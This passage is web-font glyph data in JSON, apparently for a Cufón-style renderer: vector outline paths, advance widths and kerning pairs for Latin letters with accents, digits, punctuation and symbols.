,{"d":"492,-517r0,517r-80,0v-2,-26,4,-60,-2,-82v-36,64,-94,94,-168,94v-136,0,-178,-78,-178,-189r0,-340r85,0r0,350v0,63,40,104,105,104v103,0,153,-69,153,-162r0,-292r85,0xm217,-588r86,-143r109,0r-131,143r-64,0"},{"d":"156,-696r0,104r-90,0r0,-104r90,0","w":222},{"d":"272,-63r0,-391v-103,13,-136,103,-136,202v0,91,39,182,136,189xm272,116r0,-104v-146,-6,-226,-116,-226,-264v0,-144,76,-267,226,-277r0,-95r39,0r0,95v109,3,189,57,203,178r-87,0v-13,-61,-52,-101,-116,-103r0,391v72,-7,110,-58,121,-126r85,0v-10,99,-81,201,-206,201r0,104r-39,0"},{"d":"554,-514r0,68r-425,193r425,193r0,68r-508,-230r0,-62","w":600},{"d":"38,-357v0,-194,115,-374,342,-374v227,0,342,180,342,374v0,194,-115,374,-342,374v-227,0,-342,-180,-342,-374xm133,-357v0,144,73,294,247,294v174,0,247,-150,247,-294v0,-144,-73,-294,-247,-294v-174,0,-247,150,-247,294xm230,-765r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":760},{"d":"552,-388r0,279r-68,0r0,-211r-436,0r0,-68r504,0","w":600},{"d":"708,2r-48,60r-109,-88v-47,28,-104,43,-171,43v-227,0,-342,-180,-342,-374v0,-194,115,-374,342,-374v350,0,437,451,234,658xm400,-146r50,-58r95,76v147,-157,104,-522,-165,-523v-174,0,-247,150,-247,294v0,144,73,294,247,294v37,0,69,-7,99,-20","w":760},{"d":"82,0r0,-714r95,0r0,714r-95,0xm-20,-765r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":259},{"d":"61,0r0,-517r80,0v2,35,-4,78,2,109v41,-83,98,-124,190,-121r0,90v-137,0,-187,78,-187,209r0,230r-85,0","w":333,"k":{"q":18,"o":18,"n":-18,"g":28,"e":18,"d":18,"c":18,".":92,"-":55,",":92}},{"d":"384,-267v-70,49,-258,4,-258,128v0,56,48,76,100,76v112,0,158,-70,158,-117r0,-87xm522,-68r0,66v-51,28,-141,18,-133,-66v-47,55,-110,80,-182,80v-94,0,-171,-42,-171,-145v0,-117,87,-142,175,-159v94,-18,174,-12,174,-76v0,-74,-61,-86,-115,-86v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v93,0,194,21,194,142r0,266v-4,55,13,67,53,53","w":537},{"d":"38,-357v0,-194,115,-374,342,-374v227,0,342,180,342,374v0,194,-115,374,-342,374v-227,0,-342,-180,-342,-374xm133,-357v0,144,73,294,247,294v174,0,247,-150,247,-294v0,-144,-73,-294,-247,-294v-174,0,-247,150,-247,294xm429,-769r0,-104r90,0r0,104r-90,0xm241,-769r0,-104r90,0r0,104r-90,0","w":760},{"d":"154,0r-85,0r0,-517r85,0r0,517xm-39,-588r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":222},{"d":"526,-517r0,715r-85,0r0,-268r-2,0v-28,57,-94,82,-165,82v-159,0,-238,-126,-238,-272v0,-146,78,-269,236,-269v53,0,129,20,167,81r2,0r0,-69r85,0xm126,-254v0,97,50,191,160,191v114,0,158,-98,158,-195v0,-102,-46,-196,-163,-196v-116,0,-155,99,-155,200","w":593},{"d":"83,0r0,-111r111,0r0,111r-111,0xm194,-517r0,111r-111,0r0,-111r111,0","w":278},{"d":"526,-714r0,714r-85,0v-2,-22,4,-52,-2,-70v-28,57,-94,82,-165,82v-159,0,-238,-126,-238,-272v0,-146,78,-269,236,-269v53,0,129,20,167,81r2,0r0,-266r85,0xm126,-254v0,97,50,191,160,191v114,0,158,-98,158,-195v0,-102,-46,-196,-163,-196v-116,0,-155,99,-155,200","w":593},{"d":"109,-456r0,-258r68,0r0,258r-68,0xm249,-456r0,-258r68,0r0,258r-68,0","w":426},{"d":"132,-477r0,-50v57,3,106,-9,107,-65v0,-40,-33,-62,-77,-62v-54,0,-80,37,-80,86r-68,0v5,-86,59,-141,148,-141v82,0,145,39,145,117v0,40,-35,68,-68,87v58,11,87,51,87,102v0,88,-79,130,-162,130v-89,0,-160,-48,-160,-141r68,0v1,55,34,86,92,86v50,0,94,-27,94,-72v0,-68,-59,-81,-126,-77","w":333},{"d":"99,0r0,-442r-87,0r0,-75r87,0r0,-77v-7,-103,94,-147,198,-120r0,74v-51,-14,-113,-14,-113,51r0,72r100,0r0,75r-100,0r0,442r-85,0xm450,-610r-85,0r0,-104r85,0r0,104xm450,0r-85,0r0,-517r85,0r0,517","w":518},{"d":"78,0r0,-714r95,0r0,634r378,0r0,80r-473,0","k":{"y":37,"Y":111,"W":55,"V":92,"T":92,"\u2019":74}},{"d":"72,-357v0,-99,79,-178,178,-178v99,0,179,79,179,178v0,99,-80,179,-179,179v-99,0,-178,-80,-178,-179","w":500},{"d":"83,0r0,-111r111,0v4,123,7,257,-110,258r0,-50v45,0,58,-51,58,-97r-59,0","w":278},{"d":"259,-731r0,68r-107,0r0,793r107,0r0,68r-187,0r0,-929r187,0","w":259},{"w":278},{"d":"470,-697r0,75r-286,0r-38,204r2,2v31,-35,84,-51,132,-51v126,0,229,81,229,243v0,120,-83,236,-248,236v-123,0,-223,-75,-226,-203r85,0v5,73,64,128,149,128v81,0,150,-55,150,-168v0,-94,-65,-161,-160,-161v-54,0,-99,27,-132,67r-73,-4r66,-368r350,0"},{"d":"36,-258v0,-152,87,-271,251,-271v164,0,251,119,251,271v0,151,-87,270,-251,270v-164,0,-251,-119,-251,-270xm126,-258v0,125,72,195,161,195v89,0,161,-70,161,-195v0,-126,-72,-196,-161,-196v-89,0,-161,70,-161,196xm284,-588r-131,-143r109,0r86,143r-64,0","w":574},{"d":"68,10v0,-170,188,-173,173,-349r85,0v10,105,-42,160,-90,206v-40,38,-83,77,-78,151v5,73,50,117,121,117v95,0,140,-73,139,-165r85,0v2,137,-84,240,-224,240v-123,0,-211,-73,-211,-200xm337,-517r0,111r-111,0r0,-111r111,0"},{"d":"492,-714r-14,75v-61,-2,-109,-3,-121,52r-31,138r102,0r-14,68r-100,0r-55,311v-42,212,-83,243,-256,235r14,-75v105,0,122,-10,139,-102r70,-369r-92,0r13,-68r91,0r26,-136v15,-76,69,-129,154,-129r74,0"},{"d":"38,-357v0,-194,115,-374,342,-374v227,0,342,180,342,374v0,194,-115,374,-342,374v-227,0,-342,-180,-342,-374xm133,-357v0,144,73,294,247,294v174,0,247,-150,247,-294v0,-144,-73,-294,-247,-294v-174,0,-247,150,-247,294xm319,-765r86,-143r109,0r-131,143r-64,0","w":760},{"d":"637,0r-25,-89v-55,75,-145,106,-229,106v-213,0,-340,-174,-340,-360v0,-208,114,-388,340,-388v156,0,280,70,307,237r-95,0v-19,-108,-106,-157,-212,-157v-173,0,-245,150,-245,303v0,149,86,285,245,285v147,0,235,-103,229,-233r-228,0r0,-80r313,0r0,376r-60,0","w":759},{"d":"356,-709r0,709r-85,0r0,-508r-184,0r0,-68v97,0,185,-26,204,-133r65,0"},{"d":"419,-189r87,0v-18,121,-92,195,-214,200r-33,42v41,-13,123,2,119,68v-7,101,-137,103,-216,70r18,-44v33,16,123,25,123,-18v0,-32,-58,-38,-88,-23r-17,-28r54,-68v-141,-11,-216,-117,-216,-262v0,-155,80,-277,244,-277v117,0,211,55,223,178r-88,0v-13,-65,-58,-103,-128,-103v-123,0,-161,97,-161,202v0,95,43,189,151,189v82,0,131,-48,142,-126","w":537},{"d":"78,0r0,-714r493,0r0,80r-398,0r0,227r371,0r0,80r-371,0r0,247r401,0r0,80r-496,0xm355,-769r0,-104r90,0r0,104r-90,0xm167,-769r0,-104r90,0r0,104r-90,0","w":611},{"d":"646,-714r-273,422r0,292r-95,0r0,-292r-276,-422r113,0r214,340r209,-340r108,0xm373,-769r0,-104r90,0r0,104r-90,0xm185,-769r0,-104r90,0r0,104r-90,0","w":648},{"d":"648,-714r0,456v0,180,-103,275,-281,275v-184,0,-293,-85,-293,-275r0,-456r95,0r0,456v0,126,72,195,198,195v120,0,186,-69,186,-195r0,-456r95,0xm300,-765r86,-143r109,0r-131,143r-64,0","w":722},{"d":"490,-531v0,173,-192,173,-173,357r-85,0v-11,-109,40,-167,90,-214v40,-38,83,-77,78,-151v-5,-73,-50,-117,-121,-117v-95,0,-140,73,-139,165r-85,0v-2,-137,84,-240,224,-240v123,0,211,73,211,200xm218,0r0,-111r111,0r0,111r-111,0"},{"d":"515,-714r0,869r-68,0r0,-814r-122,0r0,814r-68,0r0,-477v-122,0,-209,-82,-209,-186v0,-130,88,-206,228,-206r239,0","w":600},{"d":"82,0r0,-714r95,0r0,714r-95,0xm69,-765r86,-143r109,0r-131,143r-64,0","w":259},{"d":"552,-388r0,68r-504,0r0,-68r504,0xm48,-118r0,-68r504,0r0,68r-504,0","w":600},{"d":"55,-731r296,748r-73,0r-296,-748r73,0","w":333},{"d":"-7,0r279,-714r105,0r279,714r-105,0r-78,-215r-302,0r-80,215r-98,0xm322,-628r-121,333r242,0r-119,-333r-2,0xm263,-765r86,-143r109,0r-131,143r-64,0","w":648},{"d":"286,-381v-95,0,-147,71,-147,160v0,88,54,158,147,158v92,0,143,-73,143,-157v0,-88,-46,-161,-143,-161xm499,-528r-85,0v-8,-64,-52,-106,-119,-106v-144,-1,-173,165,-170,271v40,-65,100,-93,177,-93v136,0,217,99,217,230v0,103,-58,238,-237,238v-210,0,-244,-192,-244,-341v0,-195,59,-380,261,-380v117,0,190,66,200,181"},{"d":"421,-164r84,0v-23,114,-105,176,-221,176v-165,0,-248,-114,-248,-272v0,-155,102,-269,243,-269v183,0,239,171,234,296r-387,0v-3,90,48,170,161,170v70,0,119,-34,134,-101xm126,-308r297,0v-4,-81,-65,-146,-149,-146v-89,0,-142,67,-148,146xm208,-588r86,-143r109,0r-131,143r-64,0","w":537},{"d":"78,0r0,-714r95,0r0,307r376,0r0,-307r95,0r0,714r-95,0r0,-327r-376,0r0,327r-95,0","w":722},{"d":"38,-357v0,-194,115,-374,342,-374v227,0,342,180,342,374v0,194,-115,374,-342,374v-227,0,-342,-180,-342,-374xm133,-357v0,144,73,294,247,294v174,0,247,-150,247,-294v0,-144,-73,-294,-247,-294v-174,0,-247,150,-247,294","w":760},{"d":"78,0r0,-714r493,0r0,80r-398,0r0,227r371,0r0,80r-371,0r0,247r401,0r0,80r-496,0xm303,-765r-131,-143r109,0r86,143r-64,0","w":611},{"d":"384,-267v-70,49,-258,4,-258,128v0,56,48,76,100,76v112,0,158,-70,158,-117r0,-87xm522,-68r0,66v-51,28,-141,18,-133,-66v-47,55,-110,80,-182,80v-94,0,-171,-42,-171,-145v0,-117,87,-142,175,-159v94,-18,174,-12,174,-76v0,-74,-61,-86,-115,-86v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v93,0,194,21,194,142r0,266v-4,55,13,67,53,53xm201,-662v0,38,30,68,68,68v38,0,68,-30,68,-68v0,-38,-30,-68,-68,-68v-38,0,-68,30,-68,68xm156,-662v0,-62,51,-113,113,-113v62,0,113,51,113,113v0,62,-51,113,-113,113v-62,0,-113,-51,-113,-113","w":537},{"d":"384,-267v-70,49,-258,4,-258,128v0,56,48,76,100,76v112,0,158,-70,158,-117r0,-87xm522,-68r0,66v-51,28,-141,18,-133,-66v-47,55,-110,80,-182,80v-94,0,-171,-42,-171,-145v0,-117,87,-142,175,-159v94,-18,174,-12,174,-76v0,-74,-61,-86,-115,-86v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v93,0,194,21,194,142r0,266v-4,55,13,67,53,53xm266,-588r-131,-143r109,0r86,143r-64,0","w":537},{"d":"82,0r0,-714r95,0r0,714r-95,0","w":259},{"d":"0,198r0,-68r107,0r0,-793r-107,0r0,-68r187,0r0,929r-187,0","w":259},{"d":"102,0r29,-206r-97,0r0,-68r107,0r21,-150r-102,0r0,-68r111,0r29,-205r69,0r-29,205r124,0r29,-205r69,0r-29,205r89,0r0,68r-98,0r-21,150r91,0r0,68r-101,0r-29,206r-69,0r29,-206r-124,0r-29,206r-69,0xm355,-424r-124,0r-21,150r124,0"},{"d":"78,0r0,-714r313,0v142,0,219,79,219,211v0,132,-77,211,-219,211r-218,0r0,292r-95,0xm173,-634r0,262r186,0v107,1,156,-46,156,-131v0,-85,-49,-131,-156,-131r-186,0","w":648,"k":{"A":74,".":179,",":179}},{"d":"75,-311v0,-35,30,-64,64,-64v34,0,64,30,64,64v0,32,-30,64,-63,64v-35,0,-65,-30,-65,-64","w":278},{"d":"409,-472v0,-87,-51,-162,-146,-162v-101,0,-139,81,-139,168v0,78,58,150,140,150v89,0,145,-72,145,-156xm49,-171r85,0v6,69,62,108,130,108v103,0,161,-99,158,-276v-32,60,-95,98,-164,98v-144,0,-224,-97,-224,-237v0,-137,96,-231,233,-231v132,0,243,71,243,339v0,245,-74,382,-246,382v-119,0,-204,-61,-215,-183"},{"d":"80,0r0,-714r130,0r225,600r226,-600r130,0r0,714r-90,0r0,-594r-2,0r-223,594r-81,0r-223,-594r-2,0r0,594r-90,0","w":871},{"d":"78,0r0,-714r493,0r0,80r-398,0r0,227r371,0r0,80r-371,0r0,247r401,0r0,80r-496,0","w":611},{"d":"360,-567r0,111r-111,0v-4,-123,-7,-257,110,-258r0,50v-45,0,-58,51,-58,97r59,0xm177,-567r0,111r-111,0v-4,-123,-7,-257,110,-258r0,50v-45,0,-58,51,-58,97r59,0","w":426},{"d":"22,0r0,-80r444,-554r-410,0r0,-80r522,0r0,80r-443,554r455,0r0,80r-568,0","w":611},{"d":"201,-714r0,113r107,-40r20,48r-109,38r66,91r-41,31r-69,-96r-65,96r-45,-31r65,-91r-106,-38r18,-48r106,40r0,-113r53,0","w":352},{"d":"384,-267v-70,49,-258,4,-258,128v0,56,48,76,100,76v112,0,158,-70,158,-117r0,-87xm522,-68r0,66v-51,28,-141,18,-133,-66v-47,55,-110,80,-182,80v-94,0,-171,-42,-171,-145v0,-117,87,-142,175,-159v94,-18,174,-12,174,-76v0,-74,-61,-86,-115,-86v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v93,0,194,21,194,142r0,266v-4,55,13,67,53,53xm208,-588r86,-143r109,0r-131,143r-64,0","w":537},{"d":"269,198r-65,0v-96,-150,-157,-293,-157,-468v0,-156,55,-325,157,-461r65,0v-95,150,-132,299,-132,461v0,168,37,315,132,468","w":259},{"d":"50,-588r86,-143r109,0r-131,143r-64,0","w":222},{"d":"334,-506r0,219r218,0r0,68r-218,0r0,219r-68,0r0,-219r-218,0r0,-68r218,0r0,-219r68,0","w":600},{"d":"36,-258v0,-152,87,-271,251,-271v164,0,251,119,251,271v0,151,-87,270,-251,270v-164,0,-251,-119,-251,-270xm126,-258v0,125,72,195,161,195v89,0,161,-70,161,-195v0,-126,-72,-196,-161,-196v-89,0,-161,70,-161,196xm336,-592r0,-104r90,0r0,104r-90,0xm148,-592r0,-104r90,0r0,104r-90,0","w":574},{"d":"218,-333r0,-72v94,9,172,-25,172,-115v0,-74,-54,-114,-126,-114v-93,0,-133,71,-134,154r-85,0v5,-135,77,-229,219,-229v123,0,216,59,216,190v0,64,-48,114,-98,143v86,19,128,87,128,172v0,142,-111,216,-244,216v-144,0,-239,-85,-236,-231r85,0v3,92,54,156,151,156v83,0,154,-51,154,-137v-1,-107,-92,-150,-202,-133"},{"d":"173,-327r0,247r238,0v82,0,134,-50,134,-128v0,-168,-216,-108,-372,-119xm78,0r0,-714r259,0v63,0,146,0,189,26v47,28,84,79,84,149v0,78,-44,131,-106,162v88,18,136,84,136,172v0,105,-75,205,-217,205r-345,0xm173,-634r0,227r190,0v108,0,152,-39,152,-114v0,-99,-70,-113,-152,-113r-190,0","w":685},{"d":"36,-258v0,-152,87,-271,251,-271v164,0,251,119,251,271v0,151,-87,270,-251,270v-164,0,-251,-119,-251,-270xm126,-258v0,125,72,195,161,195v89,0,161,-70,161,-195v0,-126,-72,-196,-161,-196v-89,0,-161,70,-161,196xm137,-588r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":574},{"d":"154,0r-85,0r0,-517r85,0r0,517xm108,-588r-131,-143r109,0r86,143r-64,0","w":222},{"d":"-7,0r279,-714r105,0r279,714r-105,0r-78,-215r-302,0r-80,215r-98,0xm322,-628r-121,333r242,0r-119,-333r-2,0xm174,-765r103,-143r93,0r104,143r-84,0r-69,-96r-70,96r-77,0","w":648},{"d":"42,-348v0,-157,14,-361,236,-361v222,0,236,204,236,361v0,156,-14,360,-236,360v-222,0,-236,-204,-236,-360xm132,-349v0,106,1,286,146,286v145,0,146,-180,146,-286v0,-105,-1,-285,-146,-285v-145,0,-146,180,-146,285"},{"d":"-59,-620r0,-55r341,0r0,55r-341,0","w":222},{"d":"0,-238r0,-80r500,0r0,80r-500,0","w":500},{"d":"22,0r0,-65r312,-377r-292,0r0,-75r402,0r0,58r-316,384r330,0r0,75r-436,0xm390,-731r-103,143r-93,0r-104,-143r84,0r69,96r70,-96r77,0","w":480},{"d":"173,-385v158,-10,361,47,363,-127v0,-70,-38,-122,-127,-122r-236,0r0,249xm78,0r0,-714r336,0v134,0,217,73,217,187v0,88,-42,155,-124,183v164,28,69,240,149,344r-106,0v-27,-29,-14,-106,-26,-176v-12,-70,-27,-129,-119,-129r-232,0r0,305r-95,0","w":685,"k":{"Y":37,"W":18,"V":18,"T":18}},{"d":"420,-505v-94,0,-160,122,-160,209v0,56,36,97,86,97v87,0,155,-131,155,-213v0,-48,-39,-93,-81,-93xm618,-554r-84,284v-9,29,-25,82,13,82v61,0,138,-123,138,-230v0,-158,-131,-258,-271,-258v-171,0,-304,146,-304,321v0,178,141,317,309,317v95,0,192,-48,248,-121r63,0v-64,110,-185,176,-313,176v-211,0,-375,-166,-375,-377v0,-206,168,-371,371,-371v185,0,340,128,340,308v0,174,-140,290,-234,290v-34,0,-62,-21,-64,-65r-3,0v-30,35,-75,67,-124,67v-85,0,-143,-70,-143,-158v0,-139,94,-284,235,-284v46,0,89,22,112,82r23,-63r63,0","w":800},{"d":"675,-499r-95,0v-20,-101,-101,-152,-200,-152v-170,0,-242,140,-242,289v0,163,72,299,243,299v125,0,197,-88,206,-206r95,0v-18,178,-129,286,-309,286v-222,0,-330,-164,-330,-372v0,-207,118,-376,338,-376v149,0,272,80,294,232","w":722},{"d":"78,0r0,-714r469,0r0,80r-374,0r0,227r328,0r0,80r-328,0r0,327r-95,0","w":574,"k":{"A":55,".":157,",":157}},{"d":"648,-714r0,456v0,180,-103,275,-281,275v-184,0,-293,-85,-293,-275r0,-456r95,0r0,456v0,126,72,195,198,195v120,0,186,-69,186,-195r0,-456r95,0xm410,-769r0,-104r90,0r0,104r-90,0xm222,-769r0,-104r90,0r0,104r-90,0","w":722},{"d":"83,-603r0,-111r111,0v4,123,7,257,-110,258r0,-50v45,0,58,-51,58,-97r-59,0","w":278,"k":{"t":18,"s":74,"\u2019":95}},{"d":"492,-517r-225,586v-46,123,-95,156,-209,129r0,-78v48,21,101,13,120,-35r35,-88r-205,-514r96,0r151,423r2,0r145,-423r90,0","w":500,"k":{".":74,",":74}},{"d":"24,-359v0,-211,172,-372,377,-372v204,0,375,161,375,372v0,215,-171,376,-375,376v-205,0,-377,-161,-377,-376xm92,-359v0,183,134,321,309,321v173,0,307,-138,307,-321v0,-179,-134,-317,-307,-317v-175,0,-309,138,-309,317xm255,-139r0,-437r169,0v104,0,153,41,153,125v0,79,-50,112,-115,119r125,193r-73,0r-119,-188r-72,0r0,188r-68,0xm323,-521r0,139v84,-4,186,22,186,-72v0,-90,-104,-62,-186,-67","w":800},{"d":"82,0r0,-714r95,0r0,714r-95,0xm127,-765r-131,-143r109,0r86,143r-64,0","w":259},{"d":"78,0r0,-714r95,0r0,356r362,-356r123,0r-301,288r313,426r-120,0r-258,-361r-119,111r0,250r-95,0","w":667},{"d":"99,0r0,-442r-87,0r0,-75r87,0r0,-77v-7,-103,94,-147,198,-120r0,74v-51,-14,-113,-14,-113,51r0,72r100,0r0,75r-100,0r0,442r-85,0","w":296,"k":{"f":18,"\u2019":-18}},{"d":"190,-3r40,0v-70,58,-86,93,-86,121v0,21,11,42,38,42v31,0,47,-11,62,-30r32,18v-27,46,-67,62,-108,62v-24,0,-92,-3,-92,-82v0,-18,12,-70,114,-131","w":222},{"d":"421,-164r84,0v-23,114,-105,176,-221,176v-165,0,-248,-114,-248,-272v0,-155,102,-269,243,-269v183,0,239,171,234,296r-387,0v-3,90,48,170,161,170v70,0,119,-34,134,-101xm126,-308r297,0v-4,-81,-65,-146,-149,-146v-89,0,-142,67,-148,146xm266,-588r-131,-143r109,0r86,143r-64,0","w":537},{"d":"492,-517r0,517r-80,0v-2,-26,4,-60,-2,-82v-36,64,-94,94,-168,94v-136,0,-178,-78,-178,-189r0,-340r85,0r0,350v0,63,40,104,105,104v103,0,153,-69,153,-162r0,-292r85,0xm275,-588r-131,-143r109,0r86,143r-64,0"},{"w":278},{"d":"492,-517r0,517r-80,0v-2,-26,4,-60,-2,-82v-36,64,-94,94,-168,94v-136,0,-178,-78,-178,-189r0,-340r85,0r0,350v0,63,40,104,105,104v103,0,153,-69,153,-162r0,-292r85,0xm327,-592r0,-104r90,0r0,104r-90,0xm139,-592r0,-104r90,0r0,104r-90,0"},{"d":"77,0r0,-714r101,0r376,579r2,0r0,-579r90,0r0,714r-104,0r-373,-573r-2,0r0,573r-90,0","w":722},{"d":"50,-238r0,-80r289,0r0,80r-289,0","w":389},{"d":"77,0r0,-714r101,0r376,579r2,0r0,-579r90,0r0,714r-104,0r-373,-573r-2,0r0,573r-90,0xm297,-884v49,-1,95,39,140,40v26,0,40,-24,46,-44r52,0v-9,56,-35,114,-110,111v-35,-1,-97,-39,-133,-39v-22,0,-50,17,-48,42r-52,0v16,-59,42,-110,105,-110","w":722},{"d":"492,-517r0,517r-80,0v-2,-26,4,-60,-2,-82v-36,64,-94,94,-168,94v-43,0,-74,-11,-91,-38r-2,0r0,224r-85,0r0,-715r85,0r0,350v0,63,40,104,105,104v103,0,153,-69,153,-162r0,-292r85,0"},{"d":"24,198r0,-60r50,0v39,0,48,-44,48,-86r0,-183v0,-94,64,-128,87,-134r0,-3v-23,-3,-87,-32,-87,-134r0,-181v0,-43,-9,-88,-48,-88r-50,0r0,-60v108,-9,178,14,178,131r0,182v0,73,41,118,83,118r0,68v-42,0,-83,47,-83,117r0,182v-9,116,-70,141,-178,131","w":333},{"d":"-166,28r435,-753r64,0r-435,753r-64,0","w":167},{"d":"317,-622r0,160v-1,37,11,34,36,30r0,44v-37,16,-96,9,-94,-38v-55,67,-233,68,-234,-43v0,-70,62,-93,120,-99v93,-10,115,-16,115,-42v0,-44,-39,-49,-77,-49v-48,0,-81,13,-83,56r-60,0v4,-77,70,-106,147,-106v60,0,130,15,130,87xm257,-546v-40,29,-165,5,-164,75v0,34,29,41,62,41v98,0,107,-40,102,-116","w":378},{"d":"398,-114r-152,-120r0,-88r152,-120r0,86r-100,78r100,78r0,86xm202,-114r-152,-120r0,-88r152,-120r0,86r-100,78r100,78r0,86","w":463},{"d":"613,-714r-254,714r-108,0r-252,-714r103,0r204,619r2,0r206,-619r99,0","w":611,"k":{"y":18,"u":37,"r":37,"o":55,"i":18,"e":55,"a":55,"A":46,";":46,":":46,".":129,"-":55,",":129}},{"d":"251,-417r0,-234v-64,7,-115,45,-115,121v0,71,48,93,115,113xm306,-314r0,251v75,-6,129,-42,129,-128v0,-76,-56,-102,-129,-123xm25,-218r85,0v3,89,61,142,141,155r0,-265v-141,-34,-205,-76,-205,-193v0,-121,90,-203,205,-210r0,-66r55,0r0,67v108,13,171,83,197,198r-85,0v-13,-65,-52,-105,-112,-116r0,246r60,16v51,13,159,63,159,186v0,129,-92,207,-219,217r0,82r-55,0r0,-82v-131,-13,-215,-97,-226,-235"},{"d":"154,0r-85,0r0,-517r85,0r0,517xm160,-592r0,-104r90,0r0,104r-90,0xm-28,-592r0,-104r90,0r0,104r-90,0","w":222},{"d":"43,-662v0,38,30,68,68,68v38,0,68,-30,68,-68v0,-38,-30,-68,-68,-68v-38,0,-68,30,-68,68xm-2,-662v0,-62,51,-113,113,-113v62,0,113,51,113,113v0,62,-51,113,-113,113v-62,0,-113,-51,-113,-113","w":222},{"d":"9,0r194,-272r-180,-245r109,0r124,181r129,-181r102,0r-178,238r200,279r-109,0r-144,-214r-144,214r-103,0","w":518},{"d":"-48,-588r81,-143r105,0r-120,143r-66,0xm108,-588r81,-143r105,0r-120,143r-66,0","w":222},{"d":"56,-565v0,-80,64,-144,144,-144v80,0,144,64,144,144v0,80,-64,144,-144,144v-80,0,-144,-64,-144,-144xm106,-565v0,47,35,94,94,94v123,0,124,-188,0,-188v-59,0,-94,47,-94,94","w":400},{"d":"384,-267v-70,49,-258,4,-258,128v0,56,48,76,100,76v112,0,158,-70,158,-117r0,-87xm522,-68r0,66v-51,28,-141,18,-133,-66v-47,55,-110,80,-182,80v-94,0,-171,-42,-171,-145v0,-117,87,-142,175,-159v94,-18,174,-12,174,-76v0,-74,-61,-86,-115,-86v-72,0,-125,22,-129,98r-85,0v5,-128,104,-173,219,-173v93,0,194,21,194,142r0,266v-4,55,13,67,53,53xm318,-592r0,-104r90,0r0,104r-90,0xm130,-592r0,-104r90,0r0,104r-90,0","w":537},{"d":"160,-592r0,-104r90,0r0,104r-90,0xm-28,-592r0,-104r90,0r0,104r-90,0","w":222},{"d":"64,0r0,-714r85,0r0,273r2,0v28,-62,101,-88,163,-88v136,0,178,78,178,189r0,340r-85,0r0,-350v0,-63,-40,-104,-105,-104v-103,0,-153,69,-153,162r0,292r-85,0"},{"d":"69,0r0,-714r85,0r0,423r236,-226r114,0r-205,188r220,329r-108,0r-177,-270r-80,74r0,196r-85,0","w":519},{"d":"914,-714r-191,714r-99,0r-163,-600r-2,0r-165,600r-99,0r-183,-714r97,0r140,594r2,0r160,-594r103,0r158,594r2,0r145,-594r95,0","w":926,"k":{"u":18,"r":18,"o":57,"e":57,"a":37,"A":24,";":18,":":18,".":74,",":74}},{"d":"-45,-731r50,0v16,56,55,83,112,83v58,0,79,-32,99,-83r51,0v-14,85,-70,138,-158,138v-91,0,-141,-49,-154,-138","w":222},{"d":"130,-200v0,85,63,137,151,137v85,0,145,-59,145,-138v0,-77,-66,-135,-146,-135v-84,0,-150,54,-150,136xm65,-528v0,-117,99,-181,208,-181v244,0,276,249,117,328v85,27,126,89,126,177v0,137,-104,216,-235,216v-136,0,-241,-71,-241,-216v0,-84,45,-149,124,-177v-59,-24,-99,-83,-99,-147xm155,-525v0,78,56,114,126,114v67,0,117,-42,117,-114v0,-71,-50,-109,-119,-109v-68,0,-124,38,-124,109"},{"d":"232,0r0,-174r-141,0r0,-60r141,0r0,-42r-18,-33r-123,0r0,-60r92,0r-183,-345r109,0r174,353r169,-353r104,0r-178,345r93,0r0,60r-126,0r-18,33r0,42r144,0r0,60r-144,0r0,174r-95,0"},{"d":"25,-555r49,-49r56,56v75,-65,220,-68,294,-1r57,-56r50,51r-55,55v69,77,69,219,0,298r55,56r-47,47r-56,-58v-76,73,-223,73,-300,1r-55,58r-48,-48r55,-58v-68,-78,-71,-219,2,-294xm281,-524v-95,0,-168,77,-168,175v0,97,74,173,167,173v93,0,163,-79,163,-175v0,-94,-70,-173,-162,-173"},{"d":"581,-505r-90,0v-11,-102,-79,-146,-177,-146v-80,0,-160,29,-160,122v0,88,114,101,229,127v114,26,228,66,228,206v0,152,-149,213,-279,213v-160,0,-295,-78,-295,-252r90,0v0,120,100,172,208,172v86,0,181,-27,181,-130v0,-98,-114,-115,-228,-140v-114,-25,-229,-58,-229,-189v0,-145,129,-209,259,-209v146,0,257,69,263,226","w":648},{"d":"0,-238r0,-80r1000,0r0,80r-1000,0","w":1000},{"d":"236,155r0,-597r-194,0r0,-75r194,0r0,-197r80,0r0,197r198,0r0,75r-198,0r0,597r-80,0"},{"d":"249,-603r0,-111r111,0v4,123,7,257,-110,258r0,-50v45,0,58,-51,58,-97r-59,0xm66,-603r0,-111r111,0v4,123,7,257,-110,258r0,-50v45,0,58,-51,58,-97r-59,0","w":426},{"d":"323,-583v0,138,-209,157,-241,248r235,0r0,55r-303,0v5,-101,60,-137,125,-174v78,-45,116,-71,116,-130v0,-42,-37,-70,-83,-70v-60,0,-82,47,-82,99r-68,0v0,-92,60,-154,153,-154v81,0,148,46,148,126","w":333},{"d":"486,-517r-189,517r-91,0r-192,-517r95,0r145,431r2,0r141,-431r89,0","w":500,"k":{".":74,",":74}},{"d":"190,-420v-38,13,-73,49,-73,91v0,63,55,94,105,122v47,26,95,52,140,83v39,-16,72,-48,72,-93v0,-57,-63,-92,-106,-118v-46,-28,-93,-55,-138,-85xm465,-546r-85,0v-1,-61,-38,-110,-101,-110v-53,0,-95,28,-95,86v0,64,82,102,166,147v83,45,166,97,166,194v0,65,-44,124,-104,147v40,30,59,70,59,120v0,97,-79,160,-187,160v-118,0,-193,-72,-201,-189r85,0v1,68,46,114,114,114v49,0,101,-27,101,-83v0,-70,-86,-108,-174,-156v-85,-46,-174,-101,-174,-209v0,-62,48,-122,107,-138v-29,-30,-46,-63,-46,-106v0,-104,92,-162,185,-162v109,0,181,60,184,185"},{"d":"509,-697r0,73v-143,142,-259,402,-272,624r-95,0v16,-240,131,-459,280,-617r-372,0r0,-80r459,0"},{"d":"-7,0r361,-714r535,0r0,80r-351,0r0,227r330,0r0,80r-330,0r0,247r357,0r0,80r-447,0r0,-208r-246,0r-102,208r-107,0xm448,-634r-41,0r-168,346r209,0r0,-346","w":926},{"d":"421,-164r84,0v-23,114,-105,176,-221,176v-165,0,-248,-114,-248,-272v0,-155,102,-269,243,-269v183,0,239,171,234,296r-387,0v-3,90,48,170,161,170v70,0,119,-34,134,-101xm126,-308r297,0v-4,-81,-65,-146,-149,-146v-89,0,-14